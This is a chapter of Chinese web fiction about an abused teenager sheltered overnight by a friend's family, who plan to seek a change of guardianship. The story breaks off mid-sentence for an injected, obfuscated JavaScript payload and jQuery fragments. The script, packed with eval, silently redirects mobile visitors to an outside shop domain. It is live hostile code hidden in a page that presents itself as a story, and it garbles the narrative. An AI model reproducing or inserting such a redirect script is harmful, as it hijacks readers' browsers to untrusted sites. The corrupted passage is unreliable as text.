忘海家的厨房很小。灶台上的砂锅咕嘟咕嘟地冒着热气，排骨汤的香味混着当归和黄芪的药香，从门缝里飘出来，弥漫了整个客厅。忘海的养母站在灶台前，用汤勺轻轻搅着锅里的汤，动作很慢。她的脸色还有些苍白，但神情比刚才在苌斓家门口时平静了许多。忘海的父亲在阳台上打电话，声音压得很低，偶尔提高几个字又迅速收住。他正联系一位做律师的老同学，询问变更监护权需要哪些材料。苌斓和忘海并肩坐在客厅的布沙发上，面前各放着一杯温水。谁都没有说话。
苌斓的袖口破了一道口子，是被养父揪住衣领时扯开的。他低头看着那道口子，用手把翻出来的线头往里塞了塞，塞不回去。忘海站起来，从茶几下面的抽屉里拿出一个针线盒。他穿针的动作很熟练，在针尾绕了两圈打了个结，然后坐到苌斓旁边，拉过他的袖口，借着落地灯暖黄的光一针一针地缝。线是深灰色的，和校服袖口的颜色几乎一样，针脚细密整齐。他缝得很慢，偶尔停下来把线拉直，再继续。
“你什么时候学会的。”苌斓问。
“很小的时候。”忘海没有抬头，手指按在针脚上轻轻压了压，“我养母身体一直不太好，我爸经常出差。衣服破了就自己缝。后来给她缝，也给自己缝。习惯了。”他把线头剪断，用手指抚平最后一针，然后放下针线盒，看着苌斓袖口上那道被深灰色棉线细细缝合的裂口。“好了。洗几次线会软一点，颜色也会更贴近。以后不会再开了。”
苌斓低头看着那排细密的针脚。深灰色的线像一条安静的小河，把两片撕裂的布料重新拉到一起。他想起自己用透明胶带拼好的那张购物小票，想起被撕成两半又合拢的红糖和红枣，想起母亲用指甲一道一道画出的痕迹。他用胶带粘好了一张纸，忘海用针线缝好了他的袖口。有些东西碎了还能拼回去，有些裂口缝一缝还能继续穿。
忘海的养母端着两碗排骨汤从厨房里走出来。她把碗放在茶几上，又从锅里多夹了两块排骨放进苌斓碗里。“多放了两块。你叔叔说你太瘦了。”她的声音很轻，和每次便签上写“给小斓和忘海”时的语气一样。苌斓接过碗，低头喝了一口。汤很烫，当归微微发苦，排骨炖得酥烂，筷子一碰就从骨头上滑下来。他想起那天在病房里，忘海说他问过父亲的配方，红茶煮牛奶，放红枣和桂圆。现在父亲不在了，但每一样配方都有人替他记着。奶茶是忘海煮的，排骨汤是忘海的养母炖的。这个家和那个家之间，隔着一条梧桐道，但灶台上的火是同一个温度。他端着碗，一口一口地喝，把眼泪忍在眼眶里没有掉下来。忘海坐在他旁边，也端着一碗，慢慢地喝。两个人的肩膀隔着一个拳头的距离，和每天早上在路口时一样，和在天台上时一样。
忘海的父亲挂了电话走进客厅。他说律师那边已经了解了大致情况，家暴、监控、门被拆除、生活费被克扣，这些都可以作为申请变更监护权的依据。但需要收集证据，需要时间。“在你成年之前，我们会一直申请。只要有一线希望，就不放弃。”他的语气很平静，和上次说“今晚去我们家”时一模一样。不是承诺，不是安慰，是陈述。
苌斓把碗放在茶几上。他站起来，对着忘海的父亲和母亲鞠了一躬。九十度，脊背弯成一道很深的弧线，很久没有直起来。他说谢谢叔叔阿姨，声音压得很稳，但尾音微微发颤。忘海的养母连忙扶他起来，说你这孩子，不用这样。他直起身，眼眶红了，但没有哭。他说明天早上我就回去。今晚已经给你们添了太多麻烦。如果我不回去，他们会报警，会说你们诱拐，会把事情闹得更大。你们已经为我做得够多了，不能再连累你们。忘海的养母想说什么，但忘海的父亲轻轻按住妻子的手，说好，明天早上忘海送你到路口，有任何事情随时打电话，不管
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724395|208790||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
多晚。
那天晚上，忘海把自己的床让给了苌斓，自己打地铺。熄灯之后月光从窗帘缝隙里漏进来，落在地板上，像一条很窄很窄的河。苌斓侧躺着，看着地上那团模糊的影子，轻声说你妈妈今天哭了。我扶她的时候手都是抖的，她高血压还没好全。忘海沉默了一会儿，说我爸今晚给三个律师打了电话，他平时不太会说话，但今天说了很多。
黑暗里安静了片刻。然后苌斓说，你爸还说了一句“不管多晚”。我爸以前也说过，说“回去给你煮奶茶，好喝的话明天早上也给你带一杯”。
“你爸说的配方我一直留着。”
“我知道。”苌斓的声音越来越轻，“我今天在她手底下抢那张小票的时候一直在想，红糖、红枣、桂圆，我爸每样都挑了很久。他不看价格，就看配料表。看到添加剂就皱眉，看到无添加才满意。我妈在旁边笑他，说他买包红糖跟选茶叶似的。后来那包红糖放在后备箱里没来得及拿出来。上次我打开后备箱，袋子还在，牛奶的保质期过了，红糖结块了，桂圆受潮发霉了。我把发霉的桂圆扔了，红糖留着。结块了也是甜的。”
忘海没有说话。过了很久，苌斓听见他的声音从地板上传来：“明天早上放七颗红枣。红糖替你留着，桂圆我买了新的，不发霉的。”
“好。”
窗外梧桐树的枝丫在夜风里轻轻晃动。明天早上的路口，会有七颗红枣，会有新买的桂圆，会有两个并肩行走的人。今晚的排骨汤还在胃里暖着，袖口上的针脚密密实实。他失去的东西永远地失去了，但他拥有的东西也在笨拙地、固执地、一点一点地填满那些裂缝。明天他会回到那个没有门的房间，摄像头依旧亮着红光。但他知道，不远的某一天会有一张盖了红章的文件，把监护权从那两个人手里夺过来，把名字改成愿意给他炖排骨汤的人。他只需要撑到那一天。